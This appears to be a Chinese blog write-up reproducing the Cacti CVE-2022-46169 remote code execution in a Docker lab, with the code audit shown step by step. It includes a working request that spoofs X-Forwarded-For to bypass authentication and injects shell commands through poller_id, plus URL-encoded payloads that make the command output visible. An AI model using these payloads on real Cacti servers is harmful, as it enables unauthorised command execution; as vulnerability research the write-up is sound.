CVE-2022-46169 的rce 漏洞复现

环境配置

我们在docker环境内配置

image-20250725134750077

然后我们在vs code连接docker容器

image-20250725135718151

现在需要配置xdebug,等会方便我们追代码

1
2
3
4
5
6
7
8
9
10
pecl install xdebug-3.1.6
运行安装 xdebug
docker-php-ext-enable xdebug
启用 xdebug 扩展

在/usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini,添加如下内容:

zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes

这个添加需要我们在vs code中完成

然后我们需要重启一下容器

docker restart edf5255aa17d

然后重新连接即可

完成后我们就可以愉快的调试了

image-20250725142041390

没问题断下来了

image-20250725141447174

我们还需要创建一个采集器

image-20250725141537182

然后我们就可以退出登录了

避免session的影响

代码审计

我么的漏洞利用点在/remote_agent.php

因为我们有payload ,直接下断。传入看一下整个流程

1
2
/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For: 127.0.0.1

image-20250725185549794

断下来了

往下追

image-20250725185633322

这里发现有一个鉴权函数,我们进去看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function remote_client_authorized() {
global $poller_db_cnn_id;

/* don't allow to run from the command line */
$client_addr = get_client_addr();
if ($client_addr === false) {
return false;
}

if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting');
return false;
}

$client_name = gethostbyaddr($client_addr);

if ($client_name == $client_addr) {
cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {
$client_name = remote_agent_strip_domain($client_name);
}

$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}

cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

return false;
}

这里我们发现,$client_addr = get_client_addr(); 直接通过这个函数来获取的ip地址,我们继续进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'X-Forwarded-For',
'X-Client-IP',
'X-Real-IP',
'X-ProxyUser-Ip',
'CF-Connecting-IP',
'True-Client-IP',
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR',
);

$client_addr = false;
foreach ($http_addr_headers as $header) {
if (!empty($_SERVER[$header])) {
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
} else {
$client_addr = $header_ip;
cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
break 2;
}
}
}
}
}

return $client_addr;
}

image-20250725185824538

这里看起来就是 依次取了这些请求头,然后将他放进下面取依次循环

image-20250725185921203

这里用循环来判断ip是否合法

但是他这里直接break 2,跳出两层循环,

所以他一旦找到了一个合法的ip。他就会跳出循环直接将当前的ip赋值给client_addr

image-20250725191132752

image-20250725191513139

当我们不赋值的时候,他读取的REMOTE_ADDR 在我们设置的HTTP_X_FORWARDED_FOR的后面所以

他获取到了ip后就直接跳出了,127.0.0.1 ,合法 ,绕过了这个鉴权函数

重新下断到

image-20250725191653328

进入分析

1
2
3
4
5
6
7
8
9
10
11
12
13
function set_default_action($default = '') {
if (!isset_request_var('action')) {
set_request_var('action', $default);
} elseif (is_array(get_nfilter_request_var('action'))) {
if (read_config_option('log_validation') == 'on') {
cacti_log('WARNING: Request variable \'action\' was passed as array in ' . $_SERVER['SCRIPT_NAME'] . '.', false, 'WEBUI');
}

set_request_var('action', $_REQUEST['action'][0]);
} else {
set_request_var('action', $_REQUEST['action']);
}
}

这里就是对action做了处理

如果传入的action不正常,那么就会做如下处理

不允许传入数组,且必须要有参数

如果传入数组,那么就会提交日志,记录这是异常行为

所以这里我们需要传入正常的字符串

因为我们利用点 在后面那个pro 函数执行的地方,所以我们要进入

case 'polldata': 这个分支

也就是为什么,我们的action要传入polldata 这个值

image-20250725192557671

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
function poll_for_data() {
global $config;

$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');
$return = array();

$i = 0;

if (cacti_sizeof($local_data_ids)) {
foreach($local_data_ids as $local_data_id) {
input_validate_input_number($local_data_id);

$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));

$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?
AND action = 2',
array($host_id, $local_data_id));

if (cacti_sizeof($items)) {
foreach($items as $item) {
switch ($item['action']) {
case POLLER_ACTION_SNMP: /* snmp */
if (($item['snmp_version'] == 0) || (($item['snmp_community'] == '') && ($item['snmp_version'] != 3))) {
$output = 'U';
} else {
$host = db_fetch_row_prepared('SELECT ping_retries, max_oids FROM host WHERE hostname = ?', array($item['hostname']));
$session = cacti_snmp_session($item['hostname'], $item['snmp_community'], $item['snmp_version'],
$item['snmp_username'], $item['snmp_password'], $item['snmp_auth_protocol'], $item['snmp_priv_passphrase'],
$item['snmp_priv_protocol'], $item['snmp_context'], $item['snmp_engine_id'], $item['snmp_port'],
$item['snmp_timeout'], $host['ping_retries'], $host['max_oids']);

if ($session === false) {
$output = 'U';
} else {
$output = cacti_snmp_session_get($session, $item['arg1']);
$session->close();
}

if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}

$output = 'U';
}
}

$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;

break;
case POLLER_ACTION_SCRIPT: /* script (popen) */
$output = trim(exec_poll($item['arg1']));

if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}

$output = 'U';
}

$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;

break;
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
$cactides = array(
0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
2 => array('pipe', 'w') // stderr is a pipe to write to
);

if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
} else {
$using_proc_function = false;
}

if ($using_proc_function == true) {
$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));

if (prepare_validate_result($output) === false) {
if (strlen($output) > 20) {
$strout = 20;
} else {
$strout = strlen($output);
}

$output = 'U';
}
} else {
$output = 'U';
}

$return[$i]['value'] = $output;
$return[$i]['rrd_name'] = $item['rrd_name'];
$return[$i]['local_data_id'] = $local_data_id;

if (($using_proc_function == true) && ($script_server_calls > 0)) {
/* close php server process */
fwrite($pipes[0], "quit\r\n");
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);

$return_value = proc_close($cactiphp);
}

break;
}

$i++;
}
}
}
}

print json_encode($return);
}

我们真正的利用点就在这个函数里面

image-20250725192635117

这里 我们需要get传参 local_data_idshost_idpoller_id

我们也可以发现,这里只有local_data_ids 后面加了s,大概率就是一个数组了,因为是复数嘛

get_nfilter_request_var 他这里获取好像也过滤了我们的 get传参,进入分析

image-20250725192854424

很简单的一个函数

看起来也并没有什么过滤

image-20250725193938615

这里也成功的取到我们传入的参数

image-20250725194343369

我们真正的执行语句就在这一句

1
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);

他先读取配置里 PHP 解释器的路径,确保用正确的 PHP 二进制执行,然后与目标执行的 PHP 脚本路径进行拼接,然后又与 $poller_id 拼接,最终执行了我们的rce

接下来我们倒着分析回去

看看如何让他进入这个分支

POLLER_ACTION_SCRIPT_PHP 想让他进入这个分支,

image-20250725202424473

全局搜索发现这个的值为2

所以说这里我们 需要找到对应的action = 2 的时候

image-20250725203039500

往上发现,他这里的action 是通过items 这个值传入的

也就是他会在数据库去查询,查询到这个action为2的

才会进入我们想要的分支

也就是说,我们需要控制 host_idlocal_data_id 这两个的值,让他代入去数据库中查询,精确查找出这个action=2,

然后我们去 连接一下数据库查询一下 poller_item 这个字段

image-20250725203659403

查询后发现,只有 id=6的时候这个action才是2

所以这个时候,我们只需要拿出 host_idlocal_data_id 这两个的值

host_id = 1

local_data_id = 6

image-20250725203844668

然后他就会进入这个进行循环,这时候这个action 就是2 ,也就成功进入了我们的分支

image-20250725204401780

然后这里我们 local_data_ids 必须传入一个数组,不然他进这里这个循环就会报错

所以这里我们传的local_data_ids[0]=6

最后她走到我们的proc_open这里执行任意的函数,我们的rce 也生效了

image-20250725204554766

image-20250725204626198

但是这里他没有回显

我们继续深入研究一下,让他怎么才有回显

如何回显

我们知道proc_open 这个函数 能通过管道来输出,输入

image-20250725211924880

image-20250725211846268

这里正好他用fgets 从管道里面读取了1024个字节

然后他就会进入

using_proc_function

这个判断里面

image-20250725212101793

$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));

这里他先用exec_poll_php 执行了一个php脚本

然后str_replace 去除结果中的换行符(\n),

trim去除前后空白字符(包括空格、制表符等)

进入看看exec_poll_php 具体干了些什么

image-20250725215622178

我们看到,他这里读了8192个字节,是否会将我们的执行结果也一起读出来呢?

prepare_validate_result

这个函数对output 做了过滤

为false,就会直接将output 赋值为‘U’,所以我们要想办法绕过

进入进行分析

image-20250725212656843

这里他先去掉了首尾的 单引号,双引号,换行符,回车

1
2
3
if (is_numeric($result)) {
dsv_log('prepare_validate_result','data is numeric');
return true;

这里他判断是否是纯数字,是就直接返回true,但是这里我们的$output不可能是纯数字,所以直接pass

1
2
3
elseif ($result == 'U') {
dsv_log('prepare_validate_result', 'data is U');
return true;

这里他判断值是不是U,不可能,也pass

1
2
3
elseif (is_hexadecimal($result)) {
dsv_log('prepare_validate_result', 'data is hex');
return hexdec($result);

这里看函数名像判断16进制,有可能,保留,(因为我们可以将输出结果通过管道符 转化为16进制)

1
2
3
4
5
elseif (substr_count($result, ':') || substr_count($result, '!')) {
/* looking for name value pairs */
if (substr_count($result, ' ') == 0) {
dsv_log('prepare_validate_result', 'data has no spaces');
return true;

这里先判断是否包含冒号(:)或感叹号(!),

在判断如果没有空格,就返回true,也有可能保留

最后一个else 里面直接将非数字字符全部清除了,只保留数字,pass

所以我们的目标就落在了

elseif (is_hexadecimal($result))

lseif (substr_count($result, ':') || substr_count($result, '!')) { if (substr_count($result, ' ') == 0) {

这两个判断里面,先分析16进制

image-20250725213756651

1.清洗输入

$hexstr = str_replace(array(' ', '-'), ':', trim($result));

他先将输入字符串中的 空格和中划线(如 "00-1A-2B""00 1A 2B")统一转换为 冒号分隔(如 "00:1A:2B")。

并用 trim 去除前后空白字符。

2.按冒号分隔为数组

$parts = explode(':', $hexstr);

将统一格式的字符串切成数组

例如输入 "00:1A:2B:3C:4D:5E"["00", "1A", "2B", "3C", "4D", "5E"]

3.逐个检查每段是否为合法的两位十六进制数

foreach($parts as $part) {
if (strlen($part) != 2) return false;
if (ctype_xdigit($part) == false) return false;
}

每段必须是 长度为 2 的字符串,例如 "0F", "1a"

必须全部是 十六进制字符(0-9, A-F, a-f),否则返回 false

所有部分都符合条件,返回 true,表示是合法的十六进制格式。

然后我们就要想办法 如何将输出的结果转换为 类似于mac地址这种的格式

问问大模型,给了4种方法

  1. 使用 xxd + sedawk(处理二进制/十六进制数据)

    echo -n "abcdef" | xxd -p | sed 's/\(..\)/\1:/g; s/:$//'

    image-20250725214705152

    本地测试有效果

    image-20250725214725146

    docker环境内显示没有xdd,所以这个有可能可以用

  2. 使用 hexdump

    echo -n "abcdef" | hexdump -v -e '1/1 "%02x:"' | sed 's/:$//'

    这个跟上面的一样,也有可能环境中没有这个命令

  3. xxd 处理文件并转换格式

    xxd -p /bin/ls | tr -d '\n' | sed 's/\(..\)/\1:/g; s/:$//'

    pass,跟第一种差不多

  4. 用 Bash + printf

    hex="001a2b3c4d5e"
    echo "$hex" | sed 's/../&:/g; s/:$//'

    第四种直接pass,因为我们不能保证原文本就是十六进制的字符串

所以我们找到了两种有效的方式,可以转16进制

然后分析下

1
2
3
4
5
elseif (substr_count($result, ':') || substr_count($result, '!')) {
/* looking for name value pairs */
if (substr_count($result, ' ') == 0) {
dsv_log('prepare_validate_result', 'data has no spaces');
return true;

如何让我们的输出包含或者 且还没有空格呢?

第一个判断很好绕过,我们直接传一个冒号或者感叹号就行。

第二个也很好想到,通过base64编码。

问了问大模型

  1. 使用 tr 删除所有空格
1
2
3
|echo "test\r\n :`id | tr -d ' '`";
转一下 urlencode
%7Cecho%20%22test%5Cr%5Cn%20:%60id%20%7C%20tr%20-d%20'%20'%60%22;

image-20250725225350740

成功

  1. 使用 sed 删除所有空格字符

    1
    2
    3
    echo "test\r\n :`id | sed 's/ //g'`";
    转一下 urlencode
    %7Cecho%20%22test%5Cr%5Cn%20:%60id%20%7C%20sed%20's/%20//g'%60%22;

    image-20250725225725218

    没问题

  2. 删除所有空白字符(包括空格、制表符、换行符)

    1
    2
    |echo "test\r\n :`id | tr -d '[:space:]'`";
    |echo "test\r\n :`id | sed 's/[[:space:]]//g'`";

    道理跟前两种差不多

    也可以执行,这里就不贴图了

  3. base 64

    1
    |echo "test\r\n :`id | base64`";

    image-20250725230541249

    image-20250725230549777

    成功

总结

rce 执行归结于 proc_open函数 他直接进行了拼接,且未对我们用户的输入做过滤,导致了rce

鉴权函数也可以优化,最简单的方法就是改变一下那个数组的顺序,将用户不能控制的ip放在最前面,让他循环一次就会直接判断

而且他这个回显的过滤也很好绕过。

但是终归还是没对用户的输入做过滤